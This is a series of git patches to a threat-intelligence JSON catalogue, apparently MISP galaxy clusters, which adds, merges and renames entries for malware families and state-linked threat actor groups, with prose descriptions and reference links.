reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.", "meta": { "refs": [ - "https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil" + "https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil", + "https://www.securityweek.com/extensive-living-land-hides-stealthy-malware-campaign", + "https://isc.sans.edu/diary/rss/28962", + "https://otx.alienvault.com/pulse/6303804723bccc7e3caad737?utm_userid=alexandre.dulaunoy@circl.lu&utm_medium=InProduct&utm_source=OTX&utm_content=Email&utm_campaign=new_pulse_from_subscribed" ], - "synonyms": [] + "synonyms": ["Astaroth"] }, "uuid": "833ed94d-97c1-4b57-9634-c27bf42eb867", "value": "Guildma" @@ -3531,5 +3534,5 @@ "value": "Ragnatela" } ], - "version": 38 + "version": 39 } From 5b3c395f10ab3db3c8b29784ee9ae392f9c6f28c Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 24 Aug 2022 14:27:33 +0200 Subject: [PATCH 090/167] jq --- clusters/rat.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/clusters/rat.json b/clusters/rat.json index 4d199ed..dd42ee5 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -3485,7 +3485,9 @@ "https://isc.sans.edu/diary/rss/28962", "https://otx.alienvault.com/pulse/6303804723bccc7e3caad737?utm_userid=alexandre.dulaunoy@circl.lu&utm_medium=InProduct&utm_source=OTX&utm_content=Email&utm_campaign=new_pulse_from_subscribed" ], - "synonyms": ["Astaroth"] + "synonyms": [ + "Astaroth" + ] }, "uuid": "833ed94d-97c1-4b57-9634-c27bf42eb867", "value": "Guildma" From 9b714dcd767df5bbea8b199989550768de16e13f Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 25 Aug 2022 13:49:07 -0700 Subject: [PATCH 091/167] [threat-actors] Merge Axiom into APT17 --- clusters/threat-actor.json | 96 ++++++++------------------------------ 1 file changed, 19 insertions(+), 77 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 0a155ae..745ad68 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -486,7 +486,17 @@ "attribution-confidence": "50", "cfr-suspected-state-sponsor": "China", "cfr-suspected-victims": [ - "United States" + "United States", + "Netherlands", + "Italy", + "Japan", + "United Kingdom", + "Belgium", + "Russia", + "Indonesia", + "Germany", + "Switzerland", + "China" ], "cfr-target-category": [ "Government", @@ -504,7 +514,10 @@ "https://web.archive.org/web/20130920000343/https://www.symantec.com/connect/blogs/hidden-lynx-professional-hackers-hire", "https://www.recordedfuture.com/hidden-lynx-analysis/", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://attack.mitre.org/groups/G0025/" + "https://attack.mitre.org/groups/G0025/", + "cfr.org/cyber-operations/axiom", + "https://attack.mitre.org/groups/G0001/", + "https://www.youtube.com/watch?v=NFJqD-LcpIg" ], "synonyms": [ "APT 17", @@ -515,7 +528,9 @@ "Tailgater Team", "Dogfish", "BRONZE KEYSTONE", - "G0025" + "G0025", + "Group72", + "G0001" ] }, "related": [ @@ -526,13 +541,6 @@ ], "type": "similar" }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "tags": [ @@ -600,72 +608,6 @@ "uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", "value": "Wekby" }, - { - "description": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "China", - "cfr-suspected-victims": [ - "United States", - "Netherlands", - "Italy", - "Japan", - "United Kingdom", - "Belgium", - "Russia", - "Indonesia", - "Germany", - "Switzerland", - "China" - ], - "cfr-target-category": [ - "Government", - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "CN", - "refs": [ - "cfr.org/cyber-operations/axiom", - "https://attack.mitre.org/groups/G0001/" - ], - "synonyms": [ - "Group72", - "G0001" - ] - }, - "related": [ - { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "9c124874-042d-48cd-b72b-ccdc51ecbbd6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "value": "Axiom" - }, { "description": "Adversary group targeting financial, technology, non-profit organisations.", "meta": { @@ -7672,7 +7614,7 @@ "type": "uses" }, { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", "tags": [ "estimative-language:likelihood-probability=\"very-likely\"" ], From d5a9365aae8639d5f82146f4deb3d3eff1030c08 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Fri, 26 Aug 2022 09:23:38 +0200 Subject: [PATCH 092/167] add MOUSEISLAND --- clusters/tool.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index aef6867..cd43121 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8549,7 +8549,17 @@ ], "uuid": "7d34ca56-ce69-465f-b8c8-ffd02c4b619d", "value": "Esile" + }, + { + "description": "MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations" + ] + }, + "uuid": "2bea2cc9-c1cc-453d-a483-541b895867d1", + "value": "MOUSEISLAND" } ], - "version": 152 + "version": 153 } From 534dacb7fb0a20835c12cc3bdf756d3deea25bee Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Fri, 26 Aug 2022 10:12:36 +0200 Subject: [PATCH 093/167] add GootLoader --- clusters/tool.json | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/clusters/tool.json b/clusters/tool.json index cd43121..64d3048 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8559,6 +8559,17 @@ }, "uuid": "2bea2cc9-c1cc-453d-a483-541b895867d1", "value": "MOUSEISLAND" + }, + { + "description": "GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results. How is it delivered? Via Malicious files available for download on compromised websites that rank high as search engine results", + "meta": { + "refs": [ + "https://www.cyber.nj.gov/alerts-advisories/gootloader-malware-platform-uses-sophisticated-techniques-to-deliver-malware", + "https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader" + ] + }, + "uuid": "0bdb6f1c-1229-4556-a535-7444ddfbd7a9", + "value": "GootLoader" } ], "version": 153 From 6e00329ba6eccd989e1f2ef7eb60b24b3d9f0da0 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 26 Aug 2022 11:09:29 -0700 Subject: [PATCH 094/167] [threat-actors] Fix aliases --- clusters/threat-actor.json | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 745ad68..98870b5 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -520,8 +520,6 @@ "https://www.youtube.com/watch?v=NFJqD-LcpIg" ], "synonyms": [ - "APT 17", - "Deputy Dog", "Group 8", "APT17", "Hidden Lynx", @@ -529,8 +527,9 @@ "Dogfish", "BRONZE KEYSTONE", "G0025", - "Group72", - "G0001" + "Group 72", + "G0001", + "Axiom" ] }, "related": [ @@ -3576,7 +3575,8 @@ "synonyms": [ "G0039", "APT22", - "BRONZE OLIVE" + "BRONZE OLIVE", + "Group 46" ] }, "related": [ @@ -7592,7 +7592,6 @@ "Double Dragon", "G0096", "TA415", - "Winnti Group", "Blackfly", "Grayfly", "LEAD", From 9cfcc0d9ac2388b2579cbc7971492bbef0245273 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mathieu=20B=C3=A9ligon?= Date: Fri, 26 Aug 2022 14:54:02 -0700 Subject: [PATCH 095/167] Add aliases to APT41 Co-authored-by: Rony --- clusters/threat-actor.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 98870b5..f0bc512 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -529,7 +529,9 @@ "G0025", "Group 72", "G0001", - "Axiom" + "Axiom", + "Earth Baku", + "Amoeba" ] }, "related": [ From 0b140b7097b28597e0a668300753e4148f26818b Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 11:58:03 +0000 Subject: [PATCH 096/167] chg: [threat-actor] miscellaneous updates including merge of some actors and fix the error committed in 9cfcc0d9ac2388b2579cbc7971492bbef0245273 --- clusters/threat-actor.json | 316 ++++++++++++++++--------------------- 1 file changed, 140 insertions(+), 176 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2600adf..f3f6847 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -52,14 +52,13 @@ "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=f1265df5-6e5e-4fcc-9828-d4ddbbafd3d7&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://attack.mitre.org/groups/G0006/", - "https://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html" + "https://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "Comment Panda", + "COMMENT PANDA", "PLA Unit 61398", - "APT 1", - "APT1", - "Advanced Persistent Threat 1", + "Comment Crew", "Byzantine Candor", "Group 3", "TG-8223", @@ -67,7 +66,6 @@ "Brown Fox", "GIF89a", "ShadyRAT", - "Shanghai Group", "G0006" ] }, @@ -81,7 +79,7 @@ } ], "uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be", - "value": "Comment Crew" + "value": "APT1" }, { "description": "These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014. ", @@ -109,12 +107,12 @@ "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks", "http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html", - "https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + "https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "C0d0so", - "APT19", - "APT 19", + "Codoso", "Sunshop Group" ] }, @@ -142,7 +140,7 @@ } ], "uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", - "value": "Codoso" + "value": "APT19" }, { "meta": { @@ -167,17 +165,6 @@ "uuid": "9e71024e-817f-45b0-92a0-d886c30bc929", "value": "Dust Storm" }, - { - "meta": { - "attribution-confidence": "50", - "country": "CN", - "synonyms": [ - "temp.bottle" - ] - }, - "uuid": "ad022538-b457-4839-8ebd-3fdcc807a820", - "value": "Keyhole Panda" - }, { "meta": { "attribution-confidence": "50", @@ -187,7 +174,7 @@ ] }, "uuid": "ba8973b2-fd97-4aa7-9307-ea4838d96428", - "value": "Wet Panda" + "value": "WET PANDA" }, { "description": "Adversary group targeting telecommunication and technology organizations.", @@ -199,7 +186,7 @@ ] }, "uuid": "41c15f08-a646-49f7-a644-1bebbf7a4dcd", - "value": "Foxy Panda" + "value": "FOXY PANDA" }, { "meta": { @@ -210,7 +197,7 @@ ] }, "uuid": "1969f622-d64a-4436-9a34-4c47fcb2535f", - "value": "Predator Panda" + "value": "PREDATOR PANDA" }, { "meta": { @@ -221,7 +208,7 @@ ] }, "uuid": "7195b51f-500e-4034-a851-bf34a2728dc8", - "value": "Union Panda" + "value": "UNION PANDA" }, { "meta": { @@ -232,7 +219,7 @@ ] }, "uuid": "4959652d-72fa-46e4-be20-4ec686409bfb", - "value": "Spicy Panda" + "value": "SPICY PANDA" }, { "meta": { @@ -243,7 +230,7 @@ ] }, "uuid": "432b0304-768f-4fb9-9762-e745ef524ec7", - "value": "Eloquent Panda" + "value": "ELOQUENT PANDA" }, { "meta": { @@ -252,7 +239,7 @@ ] }, "uuid": "8a8f39df-74b3-4946-ab64-f84968bababe", - "value": "Dizzy Panda" + "value": "DIZZY PANDA" }, { "description": "Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'", @@ -271,14 +258,12 @@ "refs": [ "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", "https://www.cfr.org/interactive/cyber-operations/putter-panda", - "https://attack.mitre.org/groups/G0024/" + "https://attack.mitre.org/groups/G0024", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "PLA Unit 61486", - "APT 2", - "APT2", - "Group 36", - "APT-2", + "PUTTER PANDA", "MSUpdater", "4HCrew", "SULPHUR", @@ -297,7 +282,7 @@ } ], "uuid": "0ca45163-e223-4167-b1af-f088ed14a93d", - "value": "Putter Panda" + "value": "APT2" }, { "description": "Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'", @@ -318,14 +303,14 @@ "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://www.cfr.org/interactive/cyber-operations/apt-3", - "https://www.secureworks.com/research/threat-profiles/bronze-mayfair" + "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "Gothic Panda", + "GOTHIC PANDA", "TG-0110", - "APT 3", "Group 6", - "UPS Team", + "UPS", "APT3", "Buckeye", "Boyusec", @@ -343,7 +328,7 @@ } ], "uuid": "d144c83e-2302-4947-9e24-856fbf7949ae", - "value": "UPS" + "value": "APT3" }, { "description": "Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'", @@ -424,10 +409,11 @@ "http://www.crowdstrike.com/blog/whois-numbered-panda/", "https://www.cfr.org/interactive/cyber-operations/apt-12", "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", - "https://www.secureworks.com/research/threat-profiles/bronze-globe" + "https://www.secureworks.com/research/threat-profiles/bronze-globe", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "Numbered Panda", + "NUMBERED PANDA", "TG-2754", "BeeBus", "Group 22", @@ -435,8 +421,7 @@ "Calc Team", "DNSCalc", "Crimson Iron", - "APT12", - "APT 12", + "IXESHE", "BRONZE GLOBE" ] }, @@ -450,7 +435,7 @@ } ], "uuid": "48146604-6693-4db1-bd94-159744726514", - "value": "IXESHE" + "value": "APT12" }, { "description": "Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.", @@ -469,16 +454,16 @@ "refs": [ "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.cfr.org/interactive/cyber-operations/apt-16", - "https://attack.mitre.org/groups/G0023" + "https://attack.mitre.org/groups/G0023", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT16", "SVCMONDR", "G0023" ] }, "uuid": "1f73e14f-b882-4032-a565-26dc653b0daf", - "value": "APT 16" + "value": "APT16" }, { "description": "FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'", @@ -517,11 +502,12 @@ "https://attack.mitre.org/groups/G0025/", "cfr.org/cyber-operations/axiom", "https://attack.mitre.org/groups/G0001/", - "https://www.youtube.com/watch?v=NFJqD-LcpIg" + "https://www.youtube.com/watch?v=NFJqD-LcpIg", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "Group 8", - "APT17", + "AURORA PANDA", "Hidden Lynx", "Tailgater Team", "Dogfish", @@ -530,8 +516,7 @@ "Group 72", "G0001", "Axiom", - "Earth Baku", - "Amoeba" + "HELIUM" ] }, "related": [ @@ -558,7 +543,7 @@ } ], "uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", - "value": "Aurora Panda" + "value": "APT17" }, { "description": "Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'", @@ -578,15 +563,16 @@ "refs": [ "https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828", "https://www.cfr.org/interactive/cyber-operations/apt-18", - "https://attack.mitre.org/groups/G0026" + "https://attack.mitre.org/groups/G0026", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "Dynamite Panda", + "DYNAMITE PANDA", "TG-0416", "APT 18", "SCANDIUM", "PLA Navy", - "APT18", + "Wekby", "G0026" ] }, @@ -607,7 +593,7 @@ } ], "uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", - "value": "Wekby" + "value": "APT18" }, { "description": "Adversary group targeting financial, technology, non-profit organisations.", @@ -648,9 +634,9 @@ "https://www.secureworks.com/research/threat-profiles/bronze-firestone" ], "synonyms": [ - "Deep Panda", + "DEEP PANDA", "WebMasters", - "APT 19", + "APT19", "KungFu Kittens", "Black Vine", "Group 13", @@ -728,7 +714,8 @@ "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "https://attack.mitre.org/wiki/Group/G0013", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "PLA Unit 78020", @@ -736,7 +723,7 @@ "Camerashy", "BRONZE GENEVA", "G0019", - "APT30", + "Naikon", "BRONZE STERLING", "G0013" ] @@ -765,7 +752,7 @@ } ], "uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff", - "value": "Naikon" + "value": "APT30" }, { "description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.", @@ -806,7 +793,7 @@ "ATK1", "G0030", "Red Salamander", - "LOTUS PANDA" + "Lotus BLossom" ] }, "related": [ @@ -819,7 +806,7 @@ } ], "uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d", - "value": "Lotus Blossom" + "value": "LOTUS PANDA" }, { "description": "We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.\nHURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.\nOnce inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.", @@ -861,7 +848,7 @@ } ], "uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", - "value": "Hurricane Panda" + "value": "HURRICANE PANDA" }, { "description": "A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.", @@ -909,13 +896,13 @@ "https://securelist.com/luckymouse-hits-national-data-center/86083/", "https://attack.mitre.org/groups/G0027/", "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://unit42.paloaltonetworks.com/atoms/iron-taurus/" + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "GreedyTaotie", "TG-3390", - "APT 27", - "APT27", + "EMISSARY PANDA", "TEMP.Hippo", "Red Phoenix", "Budworm", @@ -938,7 +925,7 @@ } ], "uuid": "834e0acd-d92a-4e38-bb14-dc4159d7cb32", - "value": "EMISSARY PANDA" + "value": "APT27" }, { "meta": { @@ -981,15 +968,12 @@ "https://www.fbi.gov/news/stories/chinese-hackers-indicted-122018", "https://attack.mitre.org/groups/G0045/", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://unit42.paloaltonetworks.com/atoms/granite-taurus/" + "https://unit42.paloaltonetworks.com/atoms/granite-taurus", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT10", - "APT 10", - "MenuPass", + "STONE PANDAD", "Menupass Team", - "menuPass", - "menuPass Team", "happyyongzi", "POTASSIUM", "DustStorm", @@ -1013,24 +997,7 @@ } ], "uuid": "56b37b05-72e7-4a89-ba8a-61ce45269a8c", - "value": "Stone Panda" - }, - { - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393/" - ], - "synonyms": [ - "APT 9", - "Flowerlady/Flowershow", - "Flowerlady", - "Flowershow" - ] - }, - "uuid": "401dd2c9-bd4f-4814-bb87-701e38f18d45", - "value": "Nightshade Panda" + "value": "APT10" }, { "description": "This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage", @@ -1107,25 +1074,26 @@ "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", "https://attack.mitre.org/groups/G0004/", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "Vixen Panda", + "VIXEN PANDA", "Ke3Chang", - "GREF", "Playful Dragon", - "APT 15", - "APT15", "Metushy", "Lurid", "Social Network Team", "Royal APT", "BRONZE PALACE", + "BRONZE DAVENPORT", + "BRONZE IDLEWOOD", + "NICKEL", "G0004" ] }, "uuid": "3501fbf2-098f-47e7-be6a-6b0ff5742ce8", - "value": "Mirage" + "value": "APT15" }, { "description": "PLA Navy\nAnchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. \nNot surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.", @@ -1148,11 +1116,11 @@ "motive": "Espionage", "refs": [ "http://www.crowdstrike.com/blog/whois-anchor-panda/", - "https://www.cfr.org/interactive/cyber-operations/anchor-panda" + "https://www.cfr.org/interactive/cyber-operations/anchor-panda", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT14", - "APT 14", + "ANCHOR PANDA", "QAZTeam", "ALUMINUM" ] @@ -1195,7 +1163,7 @@ } ], "uuid": "c82c904f-b3b4-40a2-bf0d-008912953104", - "value": "Anchor Panda" + "value": "APT14" }, { "meta": { @@ -1230,16 +1198,18 @@ "https://www.kaspersky.com/about/press-releases/2013_kaspersky-lab-uncovers--operation-nettraveler--a-global-cyberespionage-campaign-targeting-government-affiliated-organizations-and-research-institutes", "https://www.kaspersky.com/about/press-releases/2014_nettraveler-gets-a-makeover-for-10th-anniversary", "https://unit42.paloaltonetworks.com/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/", - "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests" + "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", + "http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT 21", - "APT21", - "TravNet" + "HAMMER PANDA", + "TEMP.Zhenbao", + "NetTraveler" ] }, "uuid": "b80f4788-ccb2-466d-ae16-b397159d907e", - "value": "NetTraveler" + "value": "APT21" }, { "description": "Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.", @@ -1267,14 +1237,13 @@ ], "synonyms": [ "IceFog", - "Dagger Panda", "Trident", "RedFoxtrot", "Red Wendigo" ] }, "uuid": "32c534b9-abec-4823-b223-a810f897b47b", - "value": "Ice Fog" + "value": "DAGGER PANDA" }, { "description": "The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials", @@ -1287,11 +1256,11 @@ "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/2014.07.11.Pitty_Tiger/Pitty_Tiger_Final_Report.pdf", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/", "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "https://attack.mitre.org/groups/G0011/" + "https://attack.mitre.org/groups/G0011", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "PittyTiger", - "MANGANESE", + "PITTY PANDA", "G0011" ] }, @@ -1305,7 +1274,7 @@ } ], "uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189", - "value": "Pitty Panda" + "value": "APT24" }, { "meta": { @@ -1350,7 +1319,7 @@ "https://attack.mitre.org/groups/G0066/" ], "synonyms": [ - "Sneaky Panda", + "SNEAKY PANDA", "Elderwood", "Elderwood Gang", "SIG22", @@ -1378,7 +1347,7 @@ ] }, "uuid": "c92d7d31-cfd9-4309-b6c4-b7eb1e85fa7e", - "value": "Radio Panda" + "value": "RADIO PANDA" }, { "meta": { @@ -1431,7 +1400,7 @@ } ], "uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7", - "value": "Samurai Panda" + "value": "SAMURAI PANDA" }, { "meta": { @@ -1439,7 +1408,7 @@ "country": "CN" }, "uuid": "b56ecbda-6b2a-4aa9-b592-d9a0bc810ec1", - "value": "Impersonating Panda" + "value": "IMPERSONATING PANDA" }, { "description": "We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an 